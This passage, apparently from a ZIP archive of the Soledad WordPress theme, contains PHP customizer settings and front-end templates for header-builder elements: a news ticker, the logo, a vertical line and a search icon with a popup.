			'edit' => true,
			'unit' => 'ms',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_pb_news_ticker_disable_autoplay',
	'default'  => 'disable',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => esc_html__( 'Disable Auto Play', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[] = array(
	'id'          => 'penci_header_pb_news_ticker_autoplay_timeout',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-size',
	'description' => '1000 = 1 second',
	'label'       => esc_html__( 'Autoplay Timeout', 'soledad' ),
	'priority'    => 10,
	'ids'         => array(
		'desktop' => 'penci_header_pb_news_ticker_autoplay_timeout',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'ms',
		),
	),
);
$options[] = array(
	'id'          => 'penci_header_pb_news_ticker_autoplay_speed',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'type'        => 'soledad-fw-size',
	'description' => '1000 = 1 second',
	'label'       => esc_html__( 'Autoplay Speed', 'soledad' ),
	'ids'         => array(
		'desktop' => 'penci_header_pb_news_ticker_autoplay_speed',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'ms',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_pb_news_ticker_total_posts',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-size',
	'label'    => esc_html__( 'Amount of Posts Display on Top Posts', 'soledad' ),
	'ids'      => array(
		'desktop' => 'penci_header_pb_news_ticker_total_posts',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'ms',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_width',
	'default'   => '420',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Maxium Width for Ticker Text', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_news_ticker_width',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_disable_uppercase',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __( 'Disable Uppercase for "Top Posts" text', 'soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_post_titles_uppercase',
	'default'   => 'disable',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => esc_html__( 'Turn Off Uppercase Post Titles', 'soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => [
		'disable' => __('No','soledad' ),
		'enable'  => __('Yes','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_headline_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for "Top Posts" Text','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_headline_bg',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-color',
	'label'     => __('Background Color for "Top Posts Text"','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_headline_bg_style3',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for Right Arrow on Style 3','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for Post Titles','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Hover Color for Post Titles','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_arr_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for Next/Prev Buttons','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_arr_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Hover Color for Next/Prev Buttons','soledad' ),
	'type'      => 'soledad-fw-color',
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_font',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Custom Text Font','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_fs',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Post Titles', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_news_ticker_fs',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_fw',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Post Titles','soledad' ),
	'type'      => 'soledad-fw-select',
	'choices'   => array(
		''        => '',
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_arr_fs',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Next/Prev Buttons', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_news_ticker_arr_fs',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_headline_fs',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Font Size for "Top Posts" Text', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_news_ticker_headline_fs',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_news_ticker_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\0S^  ^  &  builder/elements/pb_logo/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
$logo_settings = 'penci_header_pb_logo';
$logo_url      = get_theme_mod( 'penci_custom_url_logo' ) ? get_theme_mod( 'penci_custom_url_logo' ) : esc_url( home_url( '/' ) );
$logo_display = penci_builder_validate_mod( $header_data, $logo_settings . '_logo_display', 'image' );
$logo_title   = penci_builder_validate_mod( $header_data, $logo_settings . '_site_title' );
$logo_slogan  = penci_builder_validate_mod( $header_data, $logo_settings . '_site_description' );
$logo_class   = penci_builder_validate_mod( $header_data, $logo_settings . '_class' );
if ( penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_href' ) ) {
	$logo_url = penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_href' );
}
$logo_src = PENCI_SOLEDAD_URL . '/images/logo.png';
if ( get_theme_mod( 'penci_logo' ) ) {
	$logo_src = get_theme_mod( 'penci_logo' );
}
if ( penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_url' ) ) {
	$logo_src = penci_builder_validate_mod( $header_data, $logo_settings . '_image_setting_url' );
}

if ( is_page() ) {
	$pmeta_page_header = get_post_meta( get_the_ID(), 'penci_pmeta_page_header', true );
	if ( isset( $pmeta_page_header['custom_logo'] ) && $pmeta_page_header['custom_logo'] ) {

		$logo_src_meta = wp_get_attachment_url( intval( $pmeta_page_header['custom_logo'] ) );
		if ( $logo_src_meta ) {
			$logo_src = $logo_src_meta;
		}
	}
}
$extra_logo_class = ' pclogo-cls';
if ( 'image' == $logo_display ):
	$data_dark_logo = '';
	$dark_logo      = get_theme_mod( 'penci_menu_logo_dark' );
	if ( $dark_logo && get_theme_mod( 'penci_dms_enable' ) ) {
		$data_dark_logo .= 'data-lightlogo="' . esc_url( $logo_src ) . '"';
		$data_dark_logo .= ' data-darklogo="' . esc_url( $dark_logo ) . '"';
	}
	?>
    <div class="pc-builder-element pc-logo pc-logo-desktop penci-header-image-logo <?php echo esc_attr( $logo_class ); ?>">
        <a href="<?php echo $logo_url; ?>">
            <img class="penci-mainlogo penci-limg<?php echo $extra_logo_class; ?>" <?php echo $data_dark_logo;?>
                 src="<?php echo esc_url( $logo_src ); ?>"
                 alt="<?php bloginfo( 'name' ); ?>"
                 width="<?php echo penci_get_image_data_basedurl( $logo_src, 'w' ); ?>"
                 height="<?php echo penci_get_image_data_basedurl( $logo_src, 'h' ); ?>">
			<?php if ( ! empty( $logo_slogan ) ): ?>
                <div class="site-slogan"><span><?php echo esc_attr( $logo_slogan ); ?></span></div>
			<?php endif; ?>
        </a>
    </div>
<?php 
else: ?>
    <div class="pc-builder-element pc-logo pc-logo-desktop penci-header-text-logo <?php echo esc_attr( $logo_class ); ?>">
        <a href="<?php echo $logo_url; ?>">
			<?php if ( ! empty( $logo_title ) || is_customize_preview() ): ?>
                <div class="site-name"><?php echo esc_attr( $logo_title ); ?></div>
			<?php endif; ?>
			<?php if ( ! empty( $logo_slogan ) || is_customize_preview() ): ?>
                <div class="site-slogan"><span><?php echo esc_attr( $logo_slogan ); ?></span></div>
			<?php endif; ?>
        </a>
    </div>
<?php 
endif;
PK     /w\[~U"  "  %  builder/elements/pb_logo/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'              => 'penci_header_pb_logo_logo_display',
	'default'         => 'image',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-radio',
	'label'           => esc_html__( 'Display Logo as', 'soledad' ),
	'priority'        => 10,
	'choices'         => [
		'image' => esc_html__( 'Logo Image', 'soledad' ),
		'text'  => esc_html__( 'Text', 'soledad' ),
	],
	'partial_refresh' => [
		'penci_header_pb_logo_logo_display' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'              => 'penci_header_pb_logo_image_setting_url',
	'default'         => '',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-image',
	'label'           => esc_html__( 'Logo Image', 'soledad' ),
	'description'     => esc_html__( 'Upload your image logo here', 'soledad' ),
	'partial_refresh' => [
		'penci_header_pb_logo_image_setting_url' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_size_logo_w',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Maxium Width for Logo Image', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_size_logo_w',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_size_logo_h',
	'default'   => '60',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-size',
	'sanitize'  => 'absint',
	'label'     => __( 'Maxium Height for Logo Image', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_size_logo_h',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 500,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_image_setting_href',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',

	'label'    => __( 'Custom Logo Link', 'soledad' ),
	'priority' => 10,
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_site_title',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-text',

	'label'           => esc_html__( 'Text Logo', 'soledad' ),
	'default'         => get_bloginfo( 'blogname' ),
	'partial_refresh' => [
		'penci_header_pb_logo_site_title' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'              => 'penci_header_pb_logo_site_description',
	'transport'       => 'postMessage',
	'sanitize'        => 'penci_sanitize_choices_field',
	'type'            => 'soledad-fw-textarea',
	'label'           => esc_html__( 'Slogan', 'soledad' ),
	'default'         => get_bloginfo( 'description' ),
	'partial_refresh' => [
		'penci_header_pb_logo_site_description' => [
			'selector'        => '.pc-wrapbuilder-header-inner',
			'render_callback' => function () {
				load_template( PENCI_BUILDER_PATH . '/template/desktop-builder.php' );
			},
		],
	],
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_font_size_logo',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Text Logo', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_font_size_logo',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
/* Text Logo */
$options[] = array(
	'id'        => 'penci_header_pb_logo_color_logo',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for Text Logo','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_penci_font_for_title',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font For Text Logo','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_penci_font_weight_title',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight For Text Logo','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => array(
		'normal'  => __('Normal','soledad' ),
		'bold'    => __('Bold','soledad' ),
		'bolder'  => __('Bolder','soledad' ),
		'lighter' => __('Lighter','soledad' ),
		'100'     => __('100','soledad' ),
		'200'     => __('200','soledad' ),
		'300'     => __('300','soledad' ),
		'400'     => __('400','soledad' ),
		'500'     => __('500','soledad' ),
		'600'     => __('600','soledad' ),
		'700'     => __('700','soledad' ),
		'800'     => __('800','soledad' ),
		'900'     => __('900','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_penci_font_style_title',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Text Logo','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => array(
		'normal' => __('Normal','soledad' ),
		'italic' => __('Italic','soledad' ),
	)
);
/* Slogan*/
$options[] = array(
	'id'        => 'penci_header_pb_logo_font_size_slogan',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-size',
	'label'     => __( 'Font Size for Slogan', 'soledad' ),
	'ids'       => array(
		'desktop' => 'penci_header_pb_logo_font_size_slogan',
	),
	'choices'   => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_color_slogan',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Color for Slogan Text','soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_penci_font_for_slogan',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font for Slogan Text','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => penci_all_fonts( 'select' )
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_penci_font_weight_slogan',
	'default'   => 'bold',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Weight for Slogan Text','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => array(
		'normal'  => 'Normal',
		'bold'    => 'Bold',
		'bolder'  => 'Bolder',
		'lighter' => 'Lighter',
		'100'     => '100',
		'200'     => '200',
		'300'     => '300',
		'400'     => '400',
		'500'     => '500',
		'600'     => '600',
		'700'     => '700',
		'800'     => '800',
		'900'     => '900'
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_penci_font_style_slogan',
	'default'   => 'normal',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'label'     => __('Font Style for Slogan Text','soledad' ),

	'type'    => 'soledad-fw-select',
	'choices' => array(
		'normal' => __('Normal','soledad' ),
		'italic' => __('Italic','soledad' ),
	)
);
$options[] = array(
	'id'        => 'penci_header_pb_logo_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin'  => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
		'padding' => array(
			'padding-top'    => '',
			'padding-right'  => '',
			'padding-bottom' => '',
			'padding-left'   => '',
		),
	),
);
$options[] = array(
	'id'       => 'penci_header_pb_logoclass',
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'type'     => 'soledad-fw-text',
	'label'    => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;
PK     /w\ܦJ    8  builder/elements/pb_vertical_line_mobile_2/front-end.phpnu [        <?php 
$header_data    = $args['header_data'];
// verical line
$line5_width  = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line_mobile2_width' );
$line5_height = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line_mobile2_height' );
$line5_color  = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line_mobile2_color' );
$line5_class  = penci_builder_validate_mod( $header_data, 'penci_header_pb_vertical_line_mobile2_class' );
$data_attr    = [];
if ( ! empty( $line5_width ) ) {
	$data_attr[] = 'width:' . $line5_width . 'px;';
}
if ( ! empty( $line5_height ) ) {
	$data_attr[] = 'width:' . $line5_height . 'px;';
}
if ( ! empty( $line5_color ) ) {
	$data_attr[] = 'background-color:' . $line5_color . ';';
}
$data_attr = implode( ' ', $data_attr );
?>
<div style="<?php echo $data_attr; ?>"
     class="penci-builder-element penci-vertical-line vertical-line-mobile-2 <?php echo esc_attr( $line5_class ); ?>"></div>
PK     /w\r\  \  7  builder/elements/pb_vertical_line_mobile_2/settings.phpnu [        <?php 

$general_config = 'penci_builder_mods';
$options        = [];
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_2_width',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Width', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_2_height',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'absint',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Vertical Line Height', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_2_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => __( 'Vertical Line Color', 'soledad' ),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_2_spacing',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-box-model',
	'label'     => __( 'Element Spacing', 'soledad' ),
	'choices'   => array(
		'margin' => array(
			'margin-top'    => '',
			'margin-right'  => '',
			'margin-bottom' => '',
			'margin-left'   => '',
		),
	),
);
$options[]      = array(
	'id'        => 'penci_header_pb_vertical_line_mobile_2_class',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_textarea_field',
	'type'      => 'soledad-fw-text',
	'label'     => esc_html__( 'Custom CSS Class', 'soledad' ),
);

return $options;PK     /w\}  }  -  builder/elements/pb_search_icon/front-end.phpnu [        <?php
$header_data = $args['header_data'];
$style = penci_builder_validate_mod( $header_data, 'penci_header_search_style' );
?>
<div id="top-search"
     class="pc-builder-element penci-top-search pcheader-icon top-search-classes <?php echo penci_builder_validate_mod( $header_data, 'penci_header_builder_search_icon_css_class' ); ?>">
    <a href="#" aria-label="Search" class="search-click pc-button-define-<?php echo penci_builder_validate_mod( $header_data, 'penci_header_search_icon_btn_style', 'customize' ); ?>">
        <i class="penciicon-magnifiying-glass"></i>
    </a>
    <div class="show-search pcbds-<?php echo $style; ?>">
        <?php if ( 'popup' == $style ) : ?>
            <h3 class="pc-search-top-title">
                <?php echo penci_get_setting( 'penci_trans_search_title' ); ?>
            </h3>
        <?php endif; ?>
		<?php penci_search_form( [ 'innerclass' => true, 'innerclass_css' => 'pc-searchform-inner pc-eajxsearch' ] ); ?>
        <?php if ( 'popup' == $style ) : ?>
            <div class="pc-search-suggest-term post-tags">
                <?php wp_list_categories( array(
						'title_li'   => '',
						'style'      => '',
						'separator'  => '',
						'orderby'    => 'name',
						'show_count' => false,
						'taxonomy'   => 'category',
						'number'     => 10,
						'depth'      => 1,
				) ); ?>
            </div>
			<?php
			$recent_posts = get_posts( array(
				'numberposts' => 4,
				'post_status' => 'publish',
			) );
			if ( $recent_posts ) : ?>
                <div class="pc-search-recent-posts">
                    <h3 class="pc-search-recent-posts-title">
                        <?php echo penci_get_setting( 'penci_trans_recent' ); ?>
                    </h3>
                    <div class="penci-smalllist pcsl-wrapper pwsl-id-default">
                        <div class="pcsl-inner penci-clearfix pcsl-grid pencipw-hd-text pcsl-imgpos-top pcsl-col-4 pcsl-tabcol-2 pcsl-mobcol-1">
							<?php foreach ( $recent_posts as $post ) : setup_postdata( $post ); ?>
                                <div class="pcsl-item">
                                    <div class="pcsl-itemin">
                                        <div class="pcsl-iteminer">

                                            <div class="pcsl-thumb">

                                                <a <?php echo penci_layout_bg(penci_get_featured_image_size( get_the_ID(), 'penci-thumb' ), false );?> href="<?php the_permalink(); ?>"
                                                                title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                                                class="<?php echo penci_layout_bg_class(false);?> penci-image-holder">
                                                                    <?php echo penci_layout_img(penci_get_featured_image_size( get_the_ID(), 'penci-thumb' ),get_the_title(),false);?>
                                                                </a>

                                            </div>
                                            <div class="pcsl-content">

                                                <div class="pcsl-title">
                                                    <a href="<?php the_permalink(); ?>"><?php the_title();?></a>
                                                </div>

                                                <div class="grid-post-box-meta pcsl-meta">
                                                    <span class="sl-date"><?php penci_soledad_time_link(); ?></span>
                                                </div>
                                            </div>

                                        </div>
                                    </div>
                                </div>
							<?php endforeach;
							wp_reset_postdata(); ?>
                        </div>
                    </div>
                </div>
			<?php
			endif;
			wp_reset_postdata();
		endif;
		?>
        <a href="#" aria-label="Close" class="search-click close-search"><i class="penciicon-close-button"></i></a>
    </div>
</div>
<?php if ( 'popup' == $style ) : ?>
    <div class="pc-search-popup-overlay"></div>
<?php endif; ?>PK     /w\0h$  $  ,  builder/elements/pb_search_icon/settings.phpnu [        <?php 

$options   = [];
$options[] = array(
	'id'        => 'penci_header_search_style',
	'default'   => 'showup',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Search Style', 'soledad' ),
	'choices'   => [
		'showup'  => 'Default (Slide Up)',
		'overlay' => 'Overlay',
		'popup'   => 'Popup',
	]
);
$options[] = array(
	'id'        => 'penci_header_search_icon_btn_style',
	'default'   => 'customize',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Search Button Pre-define Style', 'soledad' ),
	'choices'   => [
		'customize' => __('Default','soledad' ),
		'style-4'   => __('Filled','soledad' ),
		'style-1'   => __('Bordered','soledad' ),
		'style-2'   => __('Link','soledad' ),
	]
);
$options[] = array(
	'id'        => 'penci_header_search_icon_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Icon Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_icon_hv_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Search Icon Hover Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_btnborder_style',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'penci_sanitize_choices_field',
	'type'      => 'soledad-fw-select',
	'label'     => __( 'Button Borders Style', 'soledad' ),
	'choices'   => [
		''       => __('Default','soledad' ),
		'none'   => __('None','soledad' ),
		'dotted' => __('Dotted','soledad' ),
		'dashed' => __('Dashed','soledad' ),
		'solid'  => __('Solid','soledad' ),
		'double' => __('Double','soledad' ),
	],
);
$options[] = array(
	'id'        => 'penci_header_search_icon_bcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Icon Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_icon_bhcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Icon Hover Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_button_bgcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Icon Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_button_bghcolor',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Icon Hover Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'type'      => 'soledad-fw-color',
	'sanitize'  => 'sanitize_hex_color',
	'label'     => esc_html__( 'Search Form Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Form Background Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_input_border_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Form Input Borders Color', 'soledad' ),
);
$options[] = array(
	'id'        => 'penci_header_search_input_bg_color',
	'default'   => '',
	'transport' => 'postMessage',
	'sanitize'  => 'sanitize_hex_color',
	'type'      => 'soledad-fw-color',
	'label'     => esc_html__( 'Search Form Input Background Color', 'soledad' ),
);
$options[] = array(
